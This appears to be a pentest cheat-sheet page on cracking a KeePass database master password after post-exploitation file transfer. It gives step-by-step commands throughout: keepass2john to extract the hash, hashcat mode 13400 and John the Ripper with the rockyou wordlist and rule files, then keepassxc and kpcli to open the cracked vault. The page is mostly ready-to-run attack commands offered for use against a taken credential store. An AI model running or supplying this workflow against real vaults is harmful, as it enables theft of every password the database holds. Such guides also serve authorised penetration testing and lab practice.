Keepass Database

Cracking Keepass Database Master key

Step 1: Copy file to kali linux

Using SMB Server or any method to Transfer file, Copy database file to kali linux.

Transfer files (Post explotation) - CheatSheet – ironHackersironHackers

Ways can be seen from here

Step 2: Getting hash

# Get hash for cracking.
keepass2john Database.kdbx > hash.txt


# Formating hash for cracking. This will get only hash and remove name from the hash.
output=$(cat hash.txt | cut -d ":" -f2)
echo $output > hash.txt
cat hash.txt


# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Step 3: Cracking Hash

There are two ways to crack hash:

Using Hashcat

Advantage of using this tool is that we can use premade rules in directory location /usr/share/hashcat/rules/ .

# Command:
hashcat -m 13400 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force

# If you have not remove username in previous command.
hashcat -m 13400 --username hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force

# We can use any rule. Change rule if it didn't work at first try.
# To see hash
hashcat -m 13400  hash.txt --show
hashcat -m 13400 --username hash.txt --show

Using John the Ripper

For me john the ripper is taking time and also not cracking password.

# Command:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# You want to specify rule:
# You can add rules like 'Single','Jumbo' or any custom list.
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=Jumbo hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=<CustomName> hash.txt

Way to add custom rule can be found from here:

Making Custom list for cracking | Tools | Tips To Securehacking.tipstosecure.com

Step 4: Accessing the Keepass using GUI in kali linux.

You can use GUI app for keepass for kali linux.

Install using below command and run it.

sudo apt update && sudo apt install keepassxc

You can run keepassxc with found database.

# Run below command and then enter the found password.
keepassxc Database.kdbx
kpcli --kdb Database.kdbx

see imp details.